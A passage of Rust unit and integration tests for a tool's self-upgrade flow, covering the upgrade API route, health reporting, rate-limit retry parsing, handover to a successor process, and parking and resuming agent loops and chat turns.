21858        // SAFETY: single-threaded as far as this variable goes - nothing else
21859        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
21860        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21861        unsafe {
21862            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21863        }
21864        let fx = Fixture::start().await;
21865        let res = fx.post("/api/upgrade", None).await;
21866        unsafe {
21867            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21868        }
21869        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21870        let body = res.json();
21871        assert!(body["to"].is_null(), "there was no release to move to");
21872        assert!(body["parked"].is_null(), "and nothing was parked");
21873        assert!(
21874            body["detail"]
21875                .as_str()
21876                .unwrap()
21877                .contains("disabled by MAGI_NO_AUTOUPDATE"),
21878            "{body:?}"
21879        );
21880    }
21881
21882    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
21883        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
21884        p.stage = stage;
21885        p
21886    }
21887
21888    #[test]
21889    fn busy_stages_match_the_ui_set() {
21890        use crate::updater::Stage;
21891        assert!(APP_JS.contains(
21892            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
21893        ));
21894        for s in [
21895            Stage::Downloading,
21896            Stage::Replaced,
21897            Stage::Parking,
21898            Stage::Restarting,
21899        ] {
21900            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
21901        }
21902        for s in [Stage::Done, Stage::Failed] {
21903            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
21904        }
21905        assert!(upgrade_in_motion(None).is_none());
21906    }
21907
21908    #[tokio::test]
21909    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
21910        use crate::updater::Stage;
21911        for stage in [
21912            Stage::Downloading,
21913            Stage::Replaced,
21914            Stage::Parking,
21915            Stage::Restarting,
21916        ] {
21917            let fx = Fixture::start().await;
21918            let seeded = seeded_progress(stage);
21919            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
21920            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21921                .expect("read");
21922
21923            let res = fx.post("/api/upgrade", None).await;
21924            assert_eq!(res.status, 409, "{stage:?}");
21925            let err = res.json()["error"].as_str().unwrap().to_owned();
21926            assert!(err.contains("already in progress"), "{err}");
21927            assert!(err.contains(stage.as_str()), "{err}");
21928
21929            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21930                .expect("read");
21931            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
21932            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
21933                .unwrap_or_default();
21934            assert!(!log.contains("signalling HANDOVER"), "{log}");
21935        }
21936    }
21937
21938    #[test]
21939    fn upgrade_retry_timing_only_parses_known_diagnostics() {
21940        assert_eq!(
21941            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
21942            Some(3723)
21943        );
21944        assert_eq!(
21945            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
21946            Some(60)
21947        );
21948        assert_eq!(
21949            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
21950            Some(0)
21951        );
21952        for message in [
21953            "permission denied",
21954            "GitHub API rate limit exceeded",
21955            "GitHub rate limit (resets in unknown)",
21956            "GitHub rate limit (resets in 18446744073709551615d)",
21957        ] {
21958            assert_eq!(upgrade_retry_after(message), None, "{message}");
21959        }
21960    }
21961
21962    #[tokio::test]
21963    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
21964        let home = TempDir::new().unwrap();
21965        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
21966        ui.start_loop(None).unwrap();
21967        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
21968        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
21969        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
21970        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
21971        let response = finish_upgrade_request(&ui, result);
21972        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
21973        assert_eq!(response.headers()["retry-after"], "120");
21974        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
21975            .await
21976            .unwrap();
21977        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
21978        assert!(body["error"].as_str().unwrap().contains(reason));
21979        assert_eq!(body["retry_after_secs"], 120);
21980        assert!(body["retry_at"].as_u64().is_some());
21981        for _ in 0..2 {
21982            let view = health(State(ui.clone())).await.unwrap().0;
21983            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
21984            assert_eq!(failure, body);
21985        }
21986        assert_eq!(
21987            std::fs::read(updater::progress_path(home.path())).unwrap(),
21988            before
21989        );
21990        assert!(!ui.lock_loop().resume_after_handover);
21991        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
21992        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
21993        // A conflicting request must not erase the actionable earlier failure.
21994        let gate = ui.upgrade_gate.lock().await;
21995        assert_eq!(
21996            upgrade_post(State(ui.clone())).await.status(),
21997            StatusCode::CONFLICT
21998        );
21999        drop(gate);
22000        assert!(
22001            health(State(ui.clone()))
22002                .await
22003                .unwrap()
22004                .0
22005                .upgrade_request_error
22006                .is_some()
22007        );
22008        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22009        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22010        assert!(
22011            health(State(ui.clone()))
22012                .await
22013                .unwrap()
22014                .0
22015                .upgrade_request_error
22016                .is_none()
22017        );
22018        let live = ui.lock_loop().live.take().unwrap();
22019        live.stop.stop();
22020        live.handle.await.unwrap();
22021    }
22022
22023    #[tokio::test]
22024    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22025        use crate::updater::Stage;
22026        let repo = TempDir::new().expect("repo dir");
22027        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22028            .expect("write magi.toml");
22029        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22030        for stage in [Stage::Done, Stage::Failed] {
22031            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22032            let res = fx.post("/api/upgrade", None).await;
22033            assert_eq!(res.status, 200, "{stage:?}");
22034        }
22035        // No record at all, and the gate was released by the earlier calls.
22036        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22037        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22038    }
22039
22040    #[tokio::test]
22041    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22042        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
22043        // and the route answers from its own logic.
22044        //
22045        // This test used to lean on the fixture's placeholder repo failing
22046        // config discovery, which left `mode = "notify"` - and a live,
22047        // unauthenticated call to the GitHub releases API inside a unit test.
22048        // GitHub allows 60 of those an hour per address, so the suite went red
22049        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
22050        // long as somebody kept re-running it: every attempt spent another
22051        // request. Six reruns across four pull requests were charged to that
22052        // before it was read as a rate limit rather than a flake.
22053        //
22054        // What the assertion is about is the "already current" branch, which
22055        // is reached by there being no newer release *or* nowhere to look. The
22056        // second one needs no network and cannot be rate limited.
22057        let repo = TempDir::new().expect("repo dir");
22058        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22059            .expect("write magi.toml");
22060        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22061
22062        // It must answer 200 and leave the process alone: restarting for an
22063        // upgrade that did not happen parks the run in flight and drops every
22064        // connection to pay for nothing. A probe against a deck already on the
22065        // newest build did exactly that, which is how this case got its own
22066        // branch.
22067        let res = fx.post("/api/upgrade", None).await;
22068        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22069        let body = res.json();
22070        assert!(body["to"].is_null(), "there was no release to move to");
22071        assert!(body["parked"].is_null(), "and nothing was parked");
22072        assert!(
22073            body["detail"]
22074                .as_str()
22075                .unwrap()
22076                .contains("nothing restarted"),
22077            "{body:?}"
22078        );
22079    }
22080
22081    #[tokio::test]
22082    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22083        // `mode = "off"` for the same reason as the test above: a default
22084        // fixture repo falls back to `mode = "notify"`, which would make this
22085        // route's new `update` field a live, unauthenticated GitHub call on
22086        // every assertion in this suite that happens to hit `/api/health`.
22087        let repo = TempDir::new().expect("repo dir");
22088        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22089            .expect("write magi.toml");
22090        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22091
22092        let health = fx.get("/api/health").await.json();
22093        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22094        assert_eq!(
22095            health["update"]["available"], false,
22096            "checking is off, which reads as \"unknown\", not \"none\""
22097        );
22098        assert!(health["update"]["to"].is_null());
22099        assert!(
22100            health["upgrade"].is_null(),
22101            "nothing has ever asked this deck to upgrade"
22102        );
22103    }
22104
22105    #[tokio::test]
22106    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22107        let fx = Fixture::start().await;
22108        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22109
22110        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22111        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22112        progress.advance(crate::updater::Stage::Parking);
22113        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22114
22115        let health = fx.get("/api/health").await.json();
22116        assert_eq!(health["upgrade"]["stage"], "parking");
22117        assert_eq!(health["upgrade"]["from"], "0.5.1");
22118        assert_eq!(health["upgrade"]["to"], "0.5.2");
22119        let waiting_on = health["upgrade"]["waiting_on"]
22120            .as_str()
22121            .expect("waiting_on is set while parking a known run");
22122        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22123        assert!(waiting_on.contains("implementing"), "{waiting_on}");
22124    }
22125
22126    #[tokio::test]
22127    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
22128        let fx = Fixture::start().await;
22129        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22130        progress.advance(crate::updater::Stage::Done);
22131        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22132
22133        let health = fx.get("/api/health").await.json();
22134        assert_eq!(health["upgrade"]["stage"], "done");
22135        assert!(
22136            health["upgrade"]["waiting_on"].is_null(),
22137            "nothing to wait on once it is done"
22138        );
22139    }
22140
22141    #[tokio::test]
22142    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
22143        let home = TempDir::new().expect("temp home");
22144        let runs = home.path().join("runs");
22145        std::fs::create_dir_all(&runs).expect("runs dir");
22146        let ui = Ui::new(
22147            Queue::at(home.path().join("queue")),
22148            Questions::at(home.path().join("questions")),
22149            Talks::at(home.path().join("talks")),
22150            runs,
22151            home.path().to_path_buf(),
22152            PathBuf::from("/repo/magi"),
22153        )
22154        .with_launch(launch_idle);
22155        let looping = ui.looping();
22156        let turns = ui.turns();
22157        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22158            .await
22159            .expect("bind loopback");
22160        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22161
22162        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22163        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22164
22165        hand_over(
22166            home.path(),
22167            &looping,
22168            &turns,
22169            &|_: &[String]| Duration::from_secs(5),
22170            served,
22171            |_| Ok(1),
22172        )
22173        .await
22174        .expect("hand over");
22175
22176        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
22177        assert_eq!(
22178            after.stage,
22179            crate::updater::Stage::Restarting,
22180            "hand_over owns the record through parking and up to restarting; \
22181             the successor is what finishes it"
22182        );
22183    }
22184
22185    /// The successor is started exactly once on success, and exactly once on
22186    /// failure too (a failed start is reported, never retried).
22187    #[tokio::test]
22188    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
22189        for fail in [false, true] {
22190            let home = TempDir::new().expect("temp home");
22191            let ui = idle_ui(&home);
22192            let looping = ui.looping();
22193            let turns = ui.turns();
22194            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22195                .await
22196                .expect("bind loopback");
22197            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22198            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22199            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22200
22201            let calls = std::sync::atomic::AtomicUsize::new(0);
22202            let outcome = hand_over(
22203                home.path(),
22204                &looping,
22205                &turns,
22206                &|_: &[String]| Duration::from_secs(5),
22207                served,
22208                |_| {
22209                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22210                    if fail {
22211                        anyhow::bail!("no exec")
22212                    } else {
22213                        Ok(4242)
22214                    }
22215                },
22216            )
22217            .await;
22218            assert_eq!(outcome.is_err(), fail);
22219            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22220
22221            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
22222                .expect("upgrade.log is written under the home");
22223            for step in [
22224                "entered",
22225                "finish_loop",
22226                "listener released",
22227                "starting the successor",
22228            ] {
22229                assert!(log.contains(step), "missing `{step}` in:\n{log}");
22230            }
22231            assert!(
22232                log.contains(if fail { "did not start" } else { "pid 4242" }),
22233                "{log}"
22234            );
22235        }
22236    }
22237
22238    /// The handover signal is seen however the race falls, and wakes its one
22239    /// waiter once per signal - nothing here can spin.
22240    #[tokio::test]
22241    async fn the_handover_signal_wakes_one_waiter_once() {
22242        let signal = Notify::new();
22243        // Signalled before anyone waits: the stored permit is not lost.
22244        signal.notify_one();
22245        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22246            .await
22247            .expect("an early signal is still seen");
22248        // One signal, one wake-up: a second wait does not resolve by itself.
22249        assert!(
22250            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22251                .await
22252                .is_err(),
22253            "a consumed signal must not wake a second time"
22254        );
22255        // Signalled while waiting.
22256        let signal = std::sync::Arc::new(signal);
22257        let waiter = tokio::spawn({
22258            let signal = std::sync::Arc::clone(&signal);
22259            async move { wait_for_handover(&signal).await }
22260        });
22261        tokio::time::sleep(Duration::from_millis(20)).await;
22262        assert!(!waiter.is_finished(), "nothing was signalled yet");
22263        signal.notify_one();
22264        tokio::time::timeout(Duration::from_secs(5), waiter)
22265            .await
22266            .expect("a late signal wakes the waiter")
22267            .expect("join");
22268    }
22269
22270    #[tokio::test]
22271    async fn health_says_how_long_a_handover_has_been_stuck() {
22272        let fx = Fixture::start().await;
22273        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22274        progress.advance(crate::updater::Stage::Replaced);
22275        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22276        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22277
22278        let health = fx.get("/api/health").await.json();
22279        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22280        assert!(stuck >= 600, "{stuck}");
22281        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22282        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22283    }
22284
22285    #[tokio::test]
22286    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22287        let home = tempfile::tempdir().expect("temp home");
22288        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22289        progress.advance(crate::updater::Stage::Parking);
22290        crate::updater::write_progress(home.path(), &progress).expect("seed");
22291        // What the second upgrade_and_restart and its handler do.
22292        let mut again = progress.clone();
22293        again.advance(crate::updater::Stage::Replaced);
22294        crate::updater::write_progress(home.path(), &again).expect("replaced");
22295        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22296        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22297        let after = crate::updater::read_progress(home.path()).expect("record");
22298        assert_eq!(after.stage, crate::updater::Stage::Parking);
22299    }
22300
22301    #[tokio::test]
22302    async fn health_does_not_call_a_live_parking_wait_stuck() {
22303        let fx = Fixture::start().await;
22304        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22305        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22306        progress.advance(crate::updater::Stage::Parking);
22307        let hours = Duration::from_secs(3 * 3600);
22308        progress.started_at = Timestamp::now() - hours;
22309        progress.updated_at = Timestamp::now() - hours;
22310        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22311        let _lease = crate::updater::LeaseGuard::enter(
22312            fx.home.path(),
22313            Some("20260905-000000-cd51".to_owned()),
22314        );
22315
22316        let health = fx.get("/api/health").await.json();
22317        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22318        assert!(health["upgrade"]["stuck_kind"].is_null());
22319        assert_eq!(health["upgrade"]["handover_alive"], true);
22320        let waiting_on = health["upgrade"]["waiting_on"]
22321            .as_str()
22322            .expect("waiting_on");
22323        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22324    }
22325
22326    fn idle_ui(home: &TempDir) -> Ui {
22327        let runs = home.path().join("runs");
22328        std::fs::create_dir_all(&runs).expect("runs dir");
22329        Ui::new(
22330            Queue::at(home.path().join("queue")),
22331            Questions::at(home.path().join("questions")),
22332            Talks::at(home.path().join("talks")),
22333            runs,
22334            home.path().to_path_buf(),
22335            PathBuf::from("/repo/magi"),
22336        )
22337        .with_launch(launch_idle)
22338    }
22339
22340    async fn park_fixture(
22341        home: &TempDir,
22342    ) -> (
22343        Ui,
22344        Arc<Mutex<LoopState>>,
22345        Arc<Mutex<TalkTurns>>,
22346        tokio::task::JoinHandle<std::io::Result<()>>,
22347    ) {
22348        let ui = idle_ui(home);
22349        let looping = ui.looping();
22350        let turns = ui.turns();
22351        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22352            .await
22353            .expect("bind loopback");
22354        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22355        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22356        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22357        (ui, looping, turns, served)
22358    }
22359
22360    /// The hand-over does not release the address while a chat turn is in
22361    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
22362    /// started once the turn ends.
22363    #[tokio::test]
22364    async fn hand_over_waits_for_a_running_chat_turn() {
22365        let home = TempDir::new().expect("temp home");
22366        let (ui, looping, turns, served) = park_fixture(&home).await;
22367        let ui = Arc::new(ui);
22368        let id = "20260901-000000-chat";
22369        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22370
22371        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22372        let handover = tokio::spawn({
22373            let home = home.path().to_path_buf();
22374            let turns = Arc::clone(&turns);
22375            let calls = Arc::clone(&calls);
22376            async move {
22377                hand_over(
22378                    &home,
22379                    &looping,
22380                    &turns,
22381                    &|_: &[String]| Duration::from_secs(60),
22382                    served,
22383                    move |_| {
22384                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22385                        Ok(1)
22386                    },
22387                )
22388                .await
22389            }
22390        });
22391
22392        let waiting = async {
22393            for _ in 0..200 {
22394                if crate::updater::read_progress(home.path())
22395                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
22396                {
22397                    return;
22398                }
22399                tokio::time::sleep(Duration::from_millis(25)).await;
22400            }
22401            panic!("the park never named the chat turn");
22402        };
22403        waiting.await;
22404        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22405
22406        // A new turn is refused, a queued claim and a direct `/say` see a busy
22407        // slot, and nothing new is live.
22408        let refused = ui.begin_talk_turn("20260901-000000-late").err();
22409        assert!(
22410            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22411            "a direct start says an upgrade is in progress"
22412        );
22413        assert!(
22414            ui.begin_queued_talk_turn("20260901-000000-late")
22415                .expect("queued claim")
22416                .is_none()
22417        );
22418        assert!(matches!(
22419            ui.begin_talk_turn_unless_pending("20260901-000000-late")
22420                .expect("start"),
22421            TalkTurnStart::Busy
22422        ));
22423        assert_eq!(turns.lock().unwrap().live.len(), 1);
22424
22425        // The health text names the turn.
22426        let progress = crate::updater::read_progress(home.path()).expect("progress");
22427        let view = upgrade_progress_view(&ui, progress);
22428        assert!(
22429            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
22430            "{:?}",
22431            view.waiting_on
22432        );
22433
22434        assert!(!handover.is_finished());
22435        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22436        drop(turn);
22437        handover.await.expect("join").expect("hand over");
22438        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22439        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22440    }
22441
22442    /// Chat stays open while the loop is still parking, and closes only once
22443    /// the loop is done; a turn started during the park is waited for.
22444    #[tokio::test]
22445    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
22446        let home = TempDir::new().expect("temp home");
22447        let (ui, looping, turns, served) = park_fixture(&home).await;
22448        let ui = Arc::new(ui);
22449        // A loop that ends only when told to.
22450        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
22451        lock_or_recover(&looping).live = Some(Live {
22452            stop: daemon::Stop::new(),
22453            handle: tokio::spawn(async move {
22454                let _ = loop_ended.await;
22455            }),
22456            opts: daemon::Opts::default(),
22457        });
22458
22459        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22460        let handover = tokio::spawn({
22461            let home = home.path().to_path_buf();
22462            let turns = Arc::clone(&turns);
22463            let calls = Arc::clone(&calls);
22464            async move {
22465                hand_over(
22466                    &home,
22467                    &looping,
22468                    &turns,
22469                    &|_: &[String]| Duration::from_secs(60),
22470                    served,
22471                    move |_| {
22472                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22473                        Ok(1)
22474                    },
22475                )
22476                .await
22477            }
22478        });
22479
22480        let reached = async {
22481            for _ in 0..200 {
22482                if crate::updater::read_progress(home.path())
22483                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
22484                {
22485                    return;
22486                }
22487                tokio::time::sleep(Duration::from_millis(25)).await;
22488            }
22489            panic!("the hand-over never reached parking");
22490        };
22491        reached.await;
22492
22493        // The loop is still parking: a chat turn starts.
22494        assert!(!turns.lock().unwrap().parking);
22495        let turn = ui
22496            .begin_talk_turn("20260901-000000-chat")
22497            .expect("claim")
22498            .expect("a turn can start while the loop parks");
22499
22500        // The loop ends; the slot closes while the first turn is still held.
22501        end_loop.send(()).expect("loop still waiting");
22502        for _ in 0..200 {
22503            if turns.lock().unwrap().parking {
22504                break;
22505            }
22506            tokio::time::sleep(Duration::from_millis(25)).await;
22507        }
22508        assert!(
22509            turns.lock().unwrap().parking,
22510            "closed once the loop is done"
22511        );
22512        let refused = ui.begin_talk_turn("20260901-000000-late").err();
22513        assert!(
22514            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22515            "no turn starts once the loop is done"
22516        );
22517        assert!(
22518            ui.begin_queued_talk_turn("20260901-000000-late")
22519                .expect("queued claim")
22520                .is_none()
22521        );
22522        assert!(!handover.is_finished());
22523        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22524
22525        drop(turn);
22526        handover.await.expect("join").expect("hand over");
22527        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22528        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22529    }
22530
22531    /// A turn that never ends cannot block the upgrade: past the bound the
22532    /// hand-over proceeds and records which talk it gave up on.
22533    #[tokio::test]
22534    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
22535        let home = TempDir::new().expect("temp home");
22536        let (ui, looping, turns, served) = park_fixture(&home).await;
22537        let id = "20260901-000000-stuk";
22538        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22539
22540        let calls = std::sync::atomic::AtomicUsize::new(0);
22541        hand_over(
22542            home.path(),
22543            &looping,
22544            &turns,
22545            &|_: &[String]| Duration::from_millis(300),
22546            served,
22547            |_| {
22548                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22549                Ok(1)
22550            },
22551        )
22552        .await
22553        .expect("hand over");
22554        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22555
22556        let progress = crate::updater::read_progress(home.path()).expect("progress");
22557        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
22558        assert!(
22559            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
22560            "{:?}",
22561            progress.detail
22562        );
22563        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
22564        assert!(
22565            log.contains("handing over anyway") && log.contains(id),
22566            "{log}"
22567        );
22568    }
22569
22570    /// A drain that finds the upgrade parking leaves the queued draft alone
22571    /// and gives the slot up, instead of starting another turn.
22572    #[tokio::test]
22573    async fn drain_loop_starts_no_turn_while_parking() {
22574        let tmp = TempDir::new().expect("tempdir");
22575        let repo = tmp.path().join("repo");
22576        std::fs::create_dir_all(&repo).expect("repo dir");
22577        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
22578        let home = TempDir::new().expect("temp home");
22579        let talks = Talks::at(home.path().join("talks"));
22580        let ui = Ui::new(
22581            Queue::at(home.path().join("queue")),
22582            Questions::at(home.path().join("questions")),
22583            talks.clone(),
22584            home.path().join("runs"),
22585            home.path().to_path_buf(),
22586            repo.clone(),
22587        )
22588        .with_worktrees_root(home.path().join("wt"));
22589        let cfg = config_for(&repo).await.expect("discover config");
22590        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
22591        let id = talk.id.clone();
22592        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
22593        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
22594        let turns = ui.turns();
22595        let parking = ParkingTurns::begin(&turns);
22596
22597        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
22598
22599        assert!(
22600            turns.lock().unwrap().live.is_empty(),
22601            "the slot is given up"
22602        );
22603        let fresh = talks.get(&id).expect("talk");
22604        assert_eq!(fresh.pending, "later", "the draft is still queued");
22605        assert!(fresh.turns.is_empty(), "no turn ran");
22606        drop(parking);
22607    }
22608
22609    /// Run `hand_over` against `ui` and return what the successor was told.
22610    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
22611        let looping = ui.looping();
22612        let turns = ui.turns();
22613        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22614            .await
22615            .expect("bind loopback");
22616        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22617        let told = std::sync::Mutex::new(None);
22618        hand_over(
22619            home.path(),
22620            &looping,
22621            &turns,
22622            &|_: &[String]| Duration::from_secs(5),
22623            served,
22624            |resume| {
22625                *told.lock().unwrap() = Some(resume);
22626                Ok(1)
22627            },
22628        )
22629        .await
22630        .expect("hand over");
22631        told.into_inner().unwrap().expect("successor was started")
22632    }
22633
22634    #[tokio::test]
22635    async fn a_running_loop_is_resumed_by_the_successor() {
22636        let home = TempDir::new().expect("temp home");
22637        let ui = idle_ui(&home);
22638        ui.start_loop(None).expect("start");
22639        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22640        // The idle loop sees the park and ends before the handover fires.
22641        for _ in 0..500 {
22642            if !ui.loop_view(None).running {
22643                break;
22644            }
22645            tokio::time::sleep(Duration::from_millis(2)).await;
22646        }
22647        assert!(handed_over(&home, ui).await, "a running loop must resume");
22648
22649        let successor = idle_ui(&home);
22650        assert!(!successor.loop_view(None).running);
22651        assert!(successor.resume_after_handover(true));
22652        assert!(successor.loop_view(None).running);
22653        successor.stop_loop(None, false).expect("stop");
22654    }
22655
22656    #[tokio::test]
22657    async fn a_second_upgrade_request_keeps_the_resume_intent() {
22658        let home = TempDir::new().expect("temp home");
22659        let ui = idle_ui(&home);
22660        ui.start_loop(None).expect("start");
22661        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22662            .expect("first park");
22663        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22664            .expect("second park");
22665        assert!(handed_over(&home, ui).await);
22666    }
22667
22668    #[tokio::test]
22669    async fn a_stop_during_the_handover_wait_is_honoured() {
22670        let home = TempDir::new().expect("temp home");
22671        let ui = idle_ui(&home);
22672        ui.start_loop(None).expect("start");
22673        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22674        ui.stop_loop(None, false).expect("stop");
22675        assert!(!handed_over(&home, ui).await);
22676    }
22677
22678    #[tokio::test]
22679    async fn an_idle_loop_stays_stopped_across_the_handover() {
22680        let home = TempDir::new().expect("temp home");
22681        let ui = idle_ui(&home);
22682        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22683        assert!(!handed_over(&home, ui).await);
22684
22685        let successor = idle_ui(&home);
22686        assert!(!successor.resume_after_handover(false));
22687        assert!(!successor.loop_view(None).running);
22688    }
22689
22690    #[tokio::test]
22691    async fn a_loop_the_operator_stopped_is_not_resumed() {
22692        let home = TempDir::new().expect("temp home");
22693        let ui = idle_ui(&home);
22694        ui.start_loop(None).expect("start");
22695        ui.stop_loop(None, false).expect("stop");
22696        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
